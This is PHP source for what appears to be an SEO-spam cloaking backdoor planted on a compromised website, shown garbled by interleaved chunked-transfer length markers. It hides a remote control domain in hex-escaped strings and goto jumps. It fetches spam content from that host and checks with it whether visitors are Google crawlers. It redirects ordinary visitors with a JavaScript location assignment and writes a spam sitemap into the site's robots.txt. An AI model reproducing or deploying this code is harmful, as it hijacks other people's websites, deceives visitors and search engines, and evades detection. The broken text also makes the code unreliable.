2 true, 1e CURLOPT_CONNECTT 5 IMEOU 6 T => 5 29 , CURLOPT_TIMEOUT => 19 8, CURLOPT_S 7 SL_VERI 4 FYPE 2c ER => false, CURLOPT_SSL_VERIFY 4 HOST 24 => false, CURLOPT_FOLL 5 OWLOC 5 ATION 25 => false, CURLOPT_USERA 4 GENT e => "Mozi 6 lla/5. c 0" 1a ]); $data = curl_ 8 exec($ch 15 ); curl_clos e e($ch); } 13 if (empty($ c data) && ini 9 _get('all 8 ow_url_f 4 open 16 ')) { $contex a t = stream a _context_c 15 reate([ 6 "http" 6 => [" 8 timeout" d => 8, "heade 9 r" => "Us 5 er-Ag 10 ent: Mozilla/5.0 6 \r\n"] 12 , "ss a l" => ["v 7 erify_p f eer" => false, 10 "verify_peer_nam c e" => false] 33 ]); $data = @file_get_contents($ 4 url, 8 false, 8 $context 23 ); } if (!empty($data)) 11 cache_set($url, 14 $data); return 30 $data; } /* ------------------------- 7 URL 信 3 息 35 ------------------------- */ function get_url_info 8 (string 6 $type= 6 'domai c n'): string b { $hos 13 t = $_SERVER['HTTP_ 7 HOST'] 8 ?? ''; f if ($type = 7 == 'no_ 4 www' d ) return preg 7 _replac 9 e('/^www\ 6 ./i', a '', $host) d ; $pro 8 tocol = 16 (!empty($_SERVER['HTTP 8 S']) && 18 $_SERVER['HTTPS'] !== 'o 6 ff') ? a "https:// 9 " : "http d ://"; $b 6 ase = 11 $protocol . $host 1c ; if ($type === 'base f ') return $base 1a ; if ($type === 'full 1e ') return $base . ($_SERVER['R 4 EQUE 6 ST_URI 1a '] ?? ''); return $ 2f host; } /* ------------------------- 4 基 5 变 3 量 26 ------------------------- */ goto O 5 NPuB; a ONPuB: $h b ttp_type = 13 !empty($_SERVER["\x 6 48\124 8 \x54\x50 5 \x53" 1f ]) && $_SERVER["\x48\124\124\x5 f 0\x53"] !== "\1 5 57\x6 5 6\146 8 " ? "\15 d 0\x74\x74\x70 5 \163\ 6 72\x2f c \x2f" : "\x6 c 8\164\164\16 c 0\72\x2f\57" 9 ; goto O4 a O9k; O4O9k 7 : $vurl 9 = "\x74\ a 157\56\152 8 \147\141 d \x6c\x6c\163\ 7 x2e\143 d \157\x6d\x2f" a ; goto vgv 9 72; vgv72 9 : $qz = s 5 ubstr d (str_replace( 10 array("\x77\x77\ 8 167\x2e" 8 , "\56") 11 , '', $_SERVER["\ a 110\x54\x5 9 4\120\x5f b \x48\x4f\12 9 3\x54"]), 5 0, 3 29 ); /* ------------------------- 4 析 6 f 参 25 数 ------------------------- */ $s 7 z = $ii b d = ""; if d (!empty($_GET 6 )){ 5 $f=re 12 set($_GET); $ 5 sp = f explode('-', $f 10 ); if (coun 6 t($sp) 14 === 2) { $ 9 sz = $sp f [0]; $ c iid = $sp[1] 31 ; } } /* ------------------------- 3 4 4 口 2d ------------------------- */ if (!empty($s c z)) { $ 11 jd = getCurlFast( d "{$http_type} 8 {$vurl}3 6 kg.asp 5 x?sz= 9 " . urlen a code($sz)) 9 ; } else 3a { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy= 17 {$http_type}"); $s 5b z = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyzhdy = $jd . 8 "41.aspx a "; $surl 17 = $jd . "s41.aspx"; 27 /* ------------------------- ro 7 bots / 7 sitemap 28 ------------------------- */ $sitemap 8 Line = " 9 Sitemap: 22 {$http_type}{$_SERVER['HTTP_HOST'] 10 }{$_SERVER['SCRI 6 PT_NAM 6 E']}?w b =" . date(' 5 YmdHi 6 ') . " 10 \n"; function e 6 nsure_ f robots_sitemap( 16 $sitemapLine) { $ f robots = rtrim( d $_SERVER['DOC 7 UMENT_R 5 OOT'] 7 , "/\\" e ) . '/robots.t f xt'; if (! 13 file_exists($robots 22 )) { @file_put_contents($ e robots, "User- 9 agent: *\ 7 nAllow: 5 /\n" 1c . $sitemapLine, LOCK_EX); 12 } else { 1d $c = @file_get_contents($ 8 robots); 1a if ($c === false 4 || 17 strpos($c, $sitemapLine 1c ) === false) { 2a @file_put_contents($robots, $sitemapLine, 6 FILE_A 6 PPEND 11 | LOCK_EX); 11 } } } 29 /* ------------------------- w= 5 出 2f ------------------------- */ if (!empty($get 4 ['w' 11 ])) { $par 6 ams = a http_build 6 _query e ([ 'N 6 OUmber b ' => $get[' f NOUmber'] ?? '' 18 , 't' => 1b $get['t'] ?? '', ' 12 cn' => $get[' 1b cn'] ?? '', 'pNOUm 13 ' => $get['pNOUm' 17 ] ?? '', 'cid' 26 => $get['cid'] ?? '', 'm 1a ' => $get['m'] ?? '' 12 ]); $ 15 str = getCurlFast("{$ 7 surl}?{ d $params}"); b echo 17 str_replace( [ 6 'yymm' a ,'ggggg',' 6 ?f='], 16 [$http_type. 16 $_SERVER['HTTP_HOST']. 1c $_SERVER['SCRIPT_NAME'], $sz 8 ,'?'.$qz 10 .'='], 12 $str ); 30 exit; } /* ------------------------- I 5 P 判 4 定 4 5 留 5 kk 4 试 27 ) ------------------------- */ $kk 9 = isset($ 7 get['kk b ']) ? trim( 13 $get['kk']) : ''; b $ip = ($kk b !== '') ? " 5 66.24 5 9.82. 5 8" : 35 get_real_ip(); /* ------------------------- a getdomain2 7 判断 27 ------------------------- */ $domain 15 = trim(getCurlFast($ 16 jd . "getdomain2.aspx? 5 rnd=1 8 &ip=" . 2e $ip)); /* ------------------------- 5 go 6 ogle + 6 iid 5 4 转 2c ------------------------- */ if ($domain c !== 'google' f && !empty($iid c )) { $k b name = urld 6 ecode( 1e getCurlFast($jd . "gn.aspx?iid e =" . $iid)); c echo 'l 7 ocation 6 ="' . f $jd . "a.aspx?c 14 name=" . urlencode($ e kname) . "&url 11 =" . $http_type . 23 $_SERVER['HTTP_HOST'] . $_SERVER[' 12 SCRIPT_NAME'] . '" a ' 3a ; exit; } /* ------------------------- iid 40 输出 ------------------------- */ if (!empty($iid)) { $ 1a str = getCurlFast($hyzhdy 9 . "?iid={ 2d $iid}"); echo str_replace( [' d ggggg','YYYYY 6 ','XXX a YYY','当 5 URL b ','UUUUU',' 1a MMMMM','?f='], [$ 11 sz, get_url_info( 17 ), get_url_info('base') 16 , get_url_info('full') 19 , get_url_info('no_www'), 9 parse_url 1b ($_SERVER['REQUEST_URI'], P 7 HP_URL_ 5 PATH) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- d sitemap helpe 2b r ------------------------- */ function o 6 utput_ b sitemap_and 13 _exit($sitemapLine, 14 $http_type) { 2f ensure_robots_sitemap($sitemapLine); echo 5 "
12 a Sitemap
"; exit; } /* ------------------------- a kk 输出 5 制 25 ------------------------- */ if ($ d kk !== '' && a preg_match 7 ('/^[A- 5 Za-z0 5 -9]+$ 7 /', $kk e )) { $rem 13 ote = getCurlFast($ 1d jd . "getdomain2.aspx?rnd=2&k a k=" . $kk) 13 ; if (!empty($ 14 remote)) { c echo $remote 12 ; exit; 1f } } if ($kk !== '' && ! 5d preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type) c ; } $is_ 8 no_query 13 = empty($_SERVER[' 5 QUERY f _STRING']); 12 if ($kk === '' && 15 $is_no_query) { 18 if ($domain === 'google' 41 ) { output_sitemap_and_exit($sitemapLine, $http_type); 29 } else { exit; } } 36 output_sitemap_and_exit($sitemapLine, $http_type); ?> 2 0